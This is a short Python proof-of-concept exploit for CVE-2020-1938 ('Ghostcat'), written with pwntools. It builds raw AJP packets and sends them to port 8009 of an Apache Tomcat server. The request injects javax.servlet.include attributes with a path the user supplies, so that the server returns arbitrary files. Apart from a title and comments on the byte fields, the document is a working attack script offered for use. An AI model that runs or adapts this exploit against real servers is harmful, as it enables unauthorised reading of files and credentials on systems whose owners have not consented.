pwntools-based CVE-2020-1938 (Ghostcat) PoC

CVE-2020-1938.py

#!/usr/bin/env python3

# Usage python ./ajp.py <include_path>

import struct
from pwn import *
from sys import argv

context.log_level = logging.DEBUG

HOST = "127.0.0.1" # Target host
PORT = 8009

conn = remote(HOST, PORT)
to_arr = lambda x: list(map(ord, x))

path = to_arr(argv[1])

payload = [
	0x12, 0x34, # magic 1234
	0x00, 0xd5, # length, 213
	0x02, # forward request
	0x02, # method (GET)
	0x00, 0x04, 0x68, 0x74, 0x74, 0x70, 0x00, # version: http
	0x00, 0x17, 0x2f, 0x78, 0x78, 0x78, 0x78, 0x78, 
	0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
	0x78, 0x78, 0x65, 0x73, 0x74, 0x2e, 0x78, 0x78,
	0x78, 0x00, # URI: /xxxxxxxxxxxxxxxest.xxx
	0x00, 0x08, 0x31, 0x30, 0x2e, 0x30, 0x2e, 0x30,
	0x2e,0x33, 0x00, # RADDR: 10.0.0.1
	0x00, 0x10, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
	0x2e, 0x64, 0x65, 0x76, 0x2e, 0x6c, 0x6f, 0x63,
	0x61, 0x6c, 0x00, # RHOST: client.dev.local
	0x00, 0x09, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68,
	0x6f, 0x73, 0x74, 0x00, # SRV: localhost
	0x1f, 0x49, # PORT: 8009
	0x00, # SSLP: False
	0x00, 0x00, # NHDR: 0
	0x0a, 0x00, 0x21, 0x6a, 0x61, 0x76, 0x61, 0x78,
	0x2e, 0x73, 0x65, 0x72, 0x76, 0x6c, 0x65, 0x74,
	0x2e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65,
	0x2e, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
	0x5f, 0x75, 0x72, 0x69, 0x00, 0x00, 0x01, 0x31,
	0x00, # javax.servlet.include.request_uri: 1
	0x0a, 0x00, 0x1f, 0x6a, 0x61, 0x76, 0x61, 0x78, 
	0x2e, 0x73, 0x65, 0x72, 0x76, 0x6c, 0x65, 0x74, 
	0x2e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 
	0x2e, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x69, 0x6e, 
	0x66, 0x6f, 0x00, 0x00, len(path) ] + path + [
	0x00, # end path
	0x0a,
	0x00, 0x22, 0x6a, 0x61, 0x76, 0x61, 0x78, 0x2e,
	0x73, 0x65, 0x72, 0x76, 0x6c, 0x65, 0x74, 0x2e,
	0x69, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x2e,
	0x73, 0x65, 0x72, 0x76, 0x6c, 0x65, 0x74, 0x5f,
	0x70, 0x61, 0x74, 0x68, 0x00, 0x00, 0x00, 0x00,
	0xff # javax.servlet.include.servlet_path: 
	]

# Recalculate sum
bt = struct.pack('!H', len(payload) - 4)
payload[2] = bt[0]
payload[3] = bt[1]

END_RSP = "\x41\x42\x00\x02\x05\x01"

# Fingerprint
finger = b'\x12\x34\x00\xad\x02\x02\x00\x08\x48\x54\x54\x50\x2f\x31\x2e\x31\x00\x00\x01\x2f\x00\x00\x0e\x31\x39\x32\x2e\x31\x36\x38\x2e\x37\x35\x2e\x31\x32\x39\x00\xff\xff\x00\x0d\x31\x33\x39\x2e\x35\x39\x2e\x34\x35\x2e\x32\x34\x33\x00\x00\x50\x00\x00\x02\xa0\x0b\x00\x0d\x31\x33\x39\x2e\x35\x39\x2e\x34\x35\x2e\x32\x34\x33\x00\x00\x0f\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x00\x00\x08\x69\x64\x65\x6e\x74\x69\x74\x79\x00\x0a\x00\x0f\x41\x4a\x50\x5f\x52\x45\x4d\x4f\x54\x45\x5f\x50\x4f\x52\x54\x00\x00\x05\x33\x38\x37\x34\x34\x00\x0a\x00\x1c\x6a\x61\x76\x61\x78\x2e\x73\x65\x72\x76\x6c\x65\x74\x2e\x72\x65\x71\x75\x65\x73\x74\x2e\x6b\x63\x79\x7a\x6c\x70\x00\x00\x06\x73\x69\x71\x64\x6c\x7a\x00\xff'
conn.send(finger)

server_resp = conn.recvuntil(END_RSP)
# with open('response', 'wb') as f: f.write(server_resp)

# Send payload
payload = "".join(map(chr, payload))
conn.send(payload)

# Read until END RESPONSE bytes
conn.recvuntil(END_RSP)